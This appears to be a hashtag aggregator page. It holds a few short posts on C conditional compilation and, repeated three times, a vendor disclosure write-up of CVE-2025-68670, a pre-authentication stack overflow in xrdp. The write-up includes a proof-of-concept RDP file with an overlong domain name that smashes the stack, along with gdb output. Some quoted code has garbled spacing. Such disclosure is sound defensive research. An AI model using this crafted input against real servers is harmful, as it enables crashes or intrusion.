#ifdef — Public Fediverse posts
Live and recent posts from across the Fediverse tagged #ifdef, aggregated by home.social.
-
@mirabilos @whitequark I have not seen a single "immense hack so that othes libcs work as expected" that someone "had to do".
Generally, the code they already had was using blatent glibcisms and was missing #ifdef __GLIBC__ around it.
-
@regehr Leave things implementation-defined. Let the x86s have their segmented memory models. Let the source code be machine and implementation specific. So what? We already know how to #ifdef for porting between different OSs and platforms, and the need for adaptation to different platforms will never go away. So wishing for perfect source portability on an ideal abstract machine is futile anyway. It's an invalid justification for these definedness rules.
-
from my link log —
Yak shaving #ifdef-style conditional compilation in Rust.
https://bitshifter.github.io/2020/05/07/conditional-compilation-in-rust/
saved 2020-05-15 https://dotat.at/:/Y7K6Z.html
-
CVE-2025-68670: discovering an RCE vulnerability in xrdp
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}v n -= u8len;
v += u8len;
}else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.CVE-2025-68670: an RCE vulnerability in xrdp
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()Protection against vulnerability exploitation
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
- 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
- 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
- 12/15/2025: investigation and prioritization of the vulnerability began.
- 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
- 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
- 01/27/2026: the patch was merged into the project’s main branch.
Conclusion
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.
-
CVE-2025-68670: discovering an RCE vulnerability in xrdp
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}v n -= u8len;
v += u8len;
}else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.CVE-2025-68670: an RCE vulnerability in xrdp
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()Protection against vulnerability exploitation
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
- 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
- 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
- 12/15/2025: investigation and prioritization of the vulnerability began.
- 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
- 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
- 01/27/2026: the patch was merged into the project’s main branch.
Conclusion
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.
-
CVE-2025-68670: discovering an RCE vulnerability in xrdp
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}v n -= u8len;
v += u8len;
}else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.CVE-2025-68670: an RCE vulnerability in xrdp
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
